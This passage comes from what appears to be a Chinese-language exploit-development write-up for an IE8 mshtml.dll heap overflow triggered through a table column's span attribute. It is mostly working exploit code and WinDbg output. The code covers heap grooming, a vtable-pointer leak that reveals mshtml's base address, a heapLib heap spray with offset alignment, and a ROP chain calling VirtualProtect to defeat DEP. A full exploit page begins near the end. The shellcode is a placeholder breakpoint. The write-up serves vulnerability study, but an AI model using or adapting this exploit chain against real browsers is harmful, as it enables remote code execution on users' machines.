style="table-layout:fixed" ><col id="61" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="81" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>
<script>
var mshtmlbase;
function leak() {
var leak_col = document.getElementById("132");
leak_col.width = 41;
leak_col.span = 19;
}
function get_leak(){
for (var i = 0; i < 500; i++) {
if (al[i].length > (0x100 - 6) / 2) {
var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
//alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16));
mshtmlbase = leak_addr - 0x173af8;
//alert("mshtml.dll基址?: 0x" + mshtmlbase.toString(16));
break;
}
}
}
function heap_spray(){
alert("spray...");
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc"); //Code to execute
var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("done")
}
setTimeout("leak();", 400);
setTimeout("get_leak()", 450);
setTimeout("heap_spray();", 500)
</script>
</body>
</html>

在喷射完成后,查看内存情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
0:013> !address -f:heap

Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

BaseAddr EndAddr+1 RgnSize Type State Protect Usage
---------------------------------------------------------------------------------------------
10000 20000 10000 MEM_MAPPED MEM_COMMIT PAGE_READWRITE Heap [ID: 1; Handle: 00010000; Type: Segment]
e0000 1e0000 100000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Segment]
4b0000 4c0000 10000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 2; Handle: 004b0000; Type: Segment]
1b90000 1bb9000 29000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 3; Handle: 01b90000; Type: Segment]
1bb9000 1bd0000 17000 MEM_PRIVATE MEM_RESERVE Heap [ID: 3; Handle: 01b90000; Type: Segment]
1ec0000 1ec8000 8000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 4; Handle: 01ec0000; Type: Segment]
1ec8000 1f00000 38000 MEM_PRIVATE MEM_RESERVE Heap [ID: 4; Handle: 01ec0000; Type: Segment]
2170000 21bc000 4c000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 2; Handle: 004b0000; Type: Segment]
21bc000 2270000 b4000 MEM_PRIVATE MEM_RESERVE Heap [ID: 2; Handle: 004b0000; Type: Segment]
2be0000 2be1000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 5; Handle: 02be0000; Type: Segment]
2be1000 2c20000 3f000 MEM_PRIVATE MEM_RESERVE Heap [ID: 5; Handle: 02be0000; Type: Segment]
2cb0000 2cdb000 2b000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 6; Handle: 02cb0000; Type: Segment]
2cdb000 2cf0000 15000 MEM_PRIVATE MEM_RESERVE Heap [ID: 6; Handle: 02cb0000; Type: Segment]
2e00000 2f00000 100000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Segment]
3010000 30e2000 d2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Segment]
30e2000 3210000 12e000 MEM_PRIVATE MEM_RESERVE Heap [ID: 0; Handle: 000e0000; Type: Segment]
35b0000 3631000 81000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3760000 37e0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
37e0000 3860000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3960000 39e0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
39e0000 3a60000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3a60000 3ae0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3ae0000 3b60000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3b60000 3be0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3be0000 3c60000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
3c60000 3ce0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
4a90000 4b10000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
...
6d40000 6dc0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
6dc0000 6e40000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
6e40000 6ec0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
6ec0000 6f40000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
6f40000 6fc0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
6fc0000 7040000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7040000 70c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
70c0000 7140000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7140000 71c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
71c0000 7240000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7240000 72c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
72c0000 7340000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7340000 73c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
73c0000 7440000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7440000 74c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
74c0000 7540000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7540000 75c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
75c0000 7640000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
7640000 76c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
76c0000 7740000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
...
14fc0000 15040000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
15040000 150c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
150c0000 15140000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
15140000 151c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
151c0000 15240000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
15240000 152c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
152c0000 15340000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
15340000 153c0000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]
153c0000 15440000 80000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Heap [ID: 0; Handle: 000e0000; Type: Large block]

可以看到,喷射的范围可以说是很广了。
这时我们需要选取一个地址,作为shellcode布置的地址,并覆写到虚表指针上去。
因为IE8开启了DEP保护,所以要求我们精准的将虚表指针改写到rop链上,其余地方都是无法执行的。
因为我们能够写入的数据都是125的倍数(width125),所以这里我任意选择一个地址 `‭943208 125 = 0x70706C8‬`

然后我们去查看相应内存地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:013> dd 07070010 l800
07070010 90909090 90909090 90909090 cccccccc
07070020 90909090 90909090 90909090 90909090 <===
07070030 90909090 90909090 90909090 90909090
07070040 90909090 90909090 90909090 90909090
07070050 90909090 90909090 90909090 90909090
...
07070690 90909090 90909090 90909090 90909090
070706a0 90909090 90909090 90909090 90909090
070706b0 90909090 90909090 90909090 90909090
070706c0 90909090 90909090 90909090 90909090 <===
070706d0 90909090 90909090 90909090 90909090
070706e0 90909090 90909090 90909090 90909090
070706f0 90909090 90909090 90909090 90909090
07070700 90909090 90909090 90909090 90909090

可以看到0x070706c8shellcode块的起始位置是0x07070020
所以,如果我想在0x070706c8处布置shellcode,那么就需要在保持块的大小前提下,在前后布置一定的padding
那么front_offset = (0x070706c8 - 0x07070020) / 2 = 0x354

于是我们可以修改函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function heap_spray(){
alert("spray...");
var offset = 0x354;
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc"); //Code to execute
var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var front_padding = nops.substring(0,offset);
var tail_padding = nops.substring(0, 0x800 - front_padding.length - code.length);
var shellcode = front_padding + code + tail_padding;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("done")
}

这时再进行调试,就可以发现code已经布置在我们预期的位置上了

1
2
3
4
5
6
7
8
9
0:014> dd 070706c8
070706c8 cccccccc 90909090 90909090 90909090
070706d8 90909090 90909090 90909090 90909090
070706e8 90909090 90909090 90909090 90909090
070706f8 90909090 90909090 90909090 90909090
07070708 90909090 90909090 90909090 90909090
07070718 90909090 90909090 90909090 90909090
07070728 90909090 90909090 90909090 90909090
07070738 90909090 90909090 90909090 90909090

构造ROP

既然已经能够成功泄露出基址,那么我们就可以很容易的构造rop了。
这里我们会使用到mona.py用来寻找合适的gadget,它是Immunity Debugger的一个插件
命令是:!mona rop -m mshtml.dll
最后将生成的rop链转换成相对地址形式即可

rop代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function get_ropchain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x1d704), //# RETN
mshtmlbase + Number(0x6801b), //# POP EBP # RETN
mshtmlbase + Number(0x506603), //# XCHG EAX,ESP # RETN 栈转移
mshtmlbase + Number(0x25d87c), //# POP EAX # RETN [mshtml.dll]
mshtmlbase + Number(0x1308), //# ptr to &VirtualProtect() [IAT mshtml.dll]
mshtmlbase + Number(0x1a02a1), //# MOV EAX,DWORD PTR DS:[EAX] # RETN [mshtml.dll]
mshtmlbase + Number(0xcab0e), //# XCHG EAX,ESI # RETN [mshtml.dll]
mshtmlbase + Number(0x50c71b), //# POP EBP # RETN [mshtml.dll]
mshtmlbase + Number(0x1613b4), //# & jmp esp [mshtml.dll]
mshtmlbase + Number(0xa43ab), //# POP EBX # RETN [mshtml.dll]
0x201, //# 0x00000201-> ebx
mshtmlbase + Number(0x27e491), //# POP EDX # RETN [mshtml.dll]
0x40, //# 0x00000040-> edx
mshtmlbase + Number(0x6d267), //# POP ECX # RETN [mshtml.dll]
mshtmlbase + Number(0x53cc05), //# &Writable location [mshtml.dll]
mshtmlbase + Number(0xfb460), //# POP EDI # RETN [mshtml.dll]
mshtmlbase + Number(0x424902), //# RETN (ROP NOP) [mshtml.dll]
mshtmlbase + Number(0xa8005), //# POP EAX # RETN [mshtml.dll]
0x90909090, // nop
mshtmlbase + Number(0x4f25d2), //# PUSHAD # RETN [mshtml.dll]
0x90909090,
0x90909090
];
return arr;
}

ROP链的前三句,作用是栈转移,将esp转移到ROP链上
因为eax中正是ROP起始地址,所以交换eaxesp的值即可达到目的。

由《漏洞战争》中可知,虚表地址将会在这调用,eax保存了虚表指针值。

1
2
3
0:013> u mshtml!NotifyElement+0x35
mshtml!NotifyElement+0x3e:
68067512 ff5008 call dword ptr [eax+8]

因为是eax+8,所以首先执行的是rop链的第三句,然后完成栈转移后,将会回到第一句。
第一句不做任何事,只是占位
第二句将把第三句pop出去,防止再次交换eaxesp
之后的部分会调用VirtualProtect(),修改内存属性,使紧接在rop链后面的内存可以执行,绕过DEP

调试笔记

首先通过打印log,获取vulheap中虚表指针所在的地址,然后在调用虚表处下条件断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0:011> dd 02b9a2f8  l100
02b9a2f8 070706c8 070706c8 070706c8 00000000
...
02b9a5e8 70706c88 070706c8 070706c8 070706c8
02b9a5f8 00420042 00420042 00420042 70706c88
02b9a608 070706c8 070706c8 070706c8 <<============ 地址:0x02b9a610
02b9a618 02bbe920 68013c90 70706c88 070706c8
02b9a628 070706c8 070706c8 00000000 00000000
...
0:011> bu mshtml!NotifyElement+0x35 ".if(@ecx & 0x0`ffffffff)=02b9a610 {} .else{gc}"
0:011> g
eax=070706c8 ebx=01000000 ecx=02b9a610 edx=00000041 esi=025cf328 edi=02bbe920
eip=68067512 esp=025cf164 ebp=025cf198 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!NotifyElement+0x3e:
68067512 ff5008 call dword ptr [eax+8] ds:0023:070706d0=683a6603
0:005> t
eax=070706c8 ebx=01000000 ecx=02b9a610 edx=00000041 esi=025cf328 edi=02bbe920
eip=683a6603 esp=025cf160 ebp=025cf198 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!Ptls5::FsDestroyLayoutState+0x32b:
683a6603 94 xchg eax,esp
...
0:005>
eax=00000001 ebx=00000201 ecx=070706bc edx=779764f4 esi=765950ab edi=682c4902
eip=680013b4 esp=07070714 ebp=680013b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!cbSystemColorsSize+0x38:
680013b4 ffe4 jmp esp {07070714}
0:005>
eax=00000001 ebx=00000201 ecx=070706bc edx=779764f4 esi=765950ab edi=682c4902
eip=07070714 esp=07070714 ebp=680013b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
07070714 90 nop

在执行完rop后,会回到rop的结尾处,此时查看此处的内存属性

1
2
3
4
5
6
7
8
0:005> !vprot 07070714
BaseAddress: 07070000
AllocationBase: 07050000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE

可以发现已经具有执行权限,只需将shellcode布置到此处即可。

完整利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<html>
<head>
<script type="text/javascript" src="heaplib.js"></script>
</head>
<body>
<div id="evil"></div>
<script>
var free = "EEEE";
while (free.length < 480) free += free;
var string1 = "AAAA";
while (string1.length < 480) string1 += string1;
var string2 = "BBBB";
while (string2.length < 480) string2 += string2;
var fr = new Array();
var al = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i = 0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100 - 6) / 2);
al[i] = string1.substring(0, (0x100 - 6) / 2);
al[i+1] = string2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="31" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="61" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="81" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" 